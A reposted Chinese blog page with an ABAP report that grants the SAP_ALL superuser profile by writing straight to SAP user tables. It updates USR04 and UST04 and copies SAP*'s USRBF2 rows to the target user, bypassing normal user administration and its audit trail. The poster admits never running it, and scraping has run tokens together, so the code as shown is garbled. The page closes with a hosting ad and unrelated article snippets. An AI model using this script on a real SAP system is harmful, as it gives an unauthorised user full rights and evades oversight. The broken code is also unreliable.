如何通过ABAP程序添加SAP_ALL权限

摘要:
从Internet复制的程序从未运行过。。。仅供参考:usr04、ust04和usrbf2三个表已更新。ABAP REPORTZTESTCREATEUSER。数据:l_USR04LIKEUSR04、l_UST04LIKEUST04、l_PROFSLIKEUSR04-PROFS、l_USRBF2(如USRBF2)与头行发生,l_useridlikeusr01-

从网上抄来的程序,没运行过。。。仅供参考:

更新了usr04,ust04,usrbf2这三张表。

 
 
 
 
 
 
ABAP
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
REPORT ZTESTCREATEUSER.
data: l_USR04LIKE USR04,
l_UST04LIKE UST04,
l_PROFSLIKE USR04-PROFS,
l_USRBF2like USRBF2occurs0with headerline,
l_useridlike usr01-bname.
TABLES: usr01.
SELECT-OPTIONS: p_userFOR USR01-BNAME.
 
START-OF-SELECTION.
 
selectsingle*
  into l_USR04
  from USR04
where BNAMEin p_user.
move'C SAP_ALL'to l_PROFS.
l_USR04-NRPRO='14'.
l_USR04-PROFS= l_PROFS.
Update USR04from l_USR04.
 
l_userid= l_USR04-BNAME.
selectsingle*
  into l_UST04
  from UST04
where BNAMEin p_user.
l_UST04-PROFILE='SAP_ALL'.
Update UST04from l_UST04.
 
select*
  from USRBF2
  intotable l_USRBF2
where BNAME='SAP*'.
Loop at l_USRBF2.
  l_USRBF2-BNAME= l_userid.
  Modify l_USRBF2INDEX sy-tabixTRANSPORTING BNAME.
endloop.
INSERT USRBF2FROMTABLE l_USRBF2ACCEPTING DUPLICATE KEYS.

如何通过ABAP程序添加SAP_ALL权限第1张

如何通过ABAP程序添加SAP_ALL权限第2张

如何通过ABAP程序添加SAP_ALL权限第3张

以上。

免责声明:文章转载自《如何通过ABAP程序添加SAP_ALL权限》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇恢复grub启动2.4奇偶校验下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

浅析muduo库中的线程设施

muduo是目前我在学习过程中遇到的最具有学习意义的网络库,下文将分析muduo库中的基础设施--Thread和ThreadPool. 首先,介绍在多线程编程中不可缺少的同步措施--Mutex和Condition. Mutex /***Mutex.h***/ class MutexLock : boost::noncopyable { public:...

Python的map、filter、reduce函数

map函数func作用于给定序列的每个元素,并用一个列表来提供返回值。map函数python实现代码: def map(func,seq):     mapped_seq = []     for eachItem in seq:         mapped_seq.append(func(eachItem))     return mapped_seq...

MapXtreme 2005学习(5):总结查找图元的三种方法

在MapXtreme 2005中,查找图元提供了非常多的方法,也非常容易实现,这里总结了三种方法。 (1)Search方法是非常强大的,可以实现几乎所有的查找,这也是最常用的查找方式。示例代码如下:     /**//// <summary>    /// 通过Search方法查找图元    /// Design by Glacier    ...

做个开源博客学习Vite2 + Vue3 (四)实现博客功能

我们再来看一下管理类的设计。 Composition API,就是组合API的意思,那么是不是应该把js代码分离出来,做成独立的管理类的形式呢? 这样代码可以更整洁一些,主要是setup里面的代码就不会乱掉了。 管理类 import webSQLHelp from '../store/websql-help' import { blog, blogForm...

从微信授权到JWT认证——玩转token之路

一、写在微信前 是前段时间还是上几年来着,我记不太清了,只记得那个时候的我手机流量每个月是150MB,当然不是这个数字问题,而是由该数字引发的周围人对本人的各种调侃,使大家惊讶的是一个月150MB流量竟然用不完,而使我不解的是他们竟然接受不了用不完这个事实。那个时候的我,对流量的认知,更多的是手机上,直到后来参加工作,才开始广泛起来。 流量这个东西,很神奇...

RocketMQ系列:单机快速搭建单broker环境

本文使用rocketmq的fast-try.sh快速在centos7上搭建一个单机版的rocketmq,单机版仅用于本地调试,不能用于生产环境。 1. 支持系统 Centos7/Ubuntu16/Mac/Windows 2. 配置建议 cpu:4核以上 内存:8G以上 硬盘:20G以上 3. 下载&解压Rockmet 3.1 下载 访问:http:...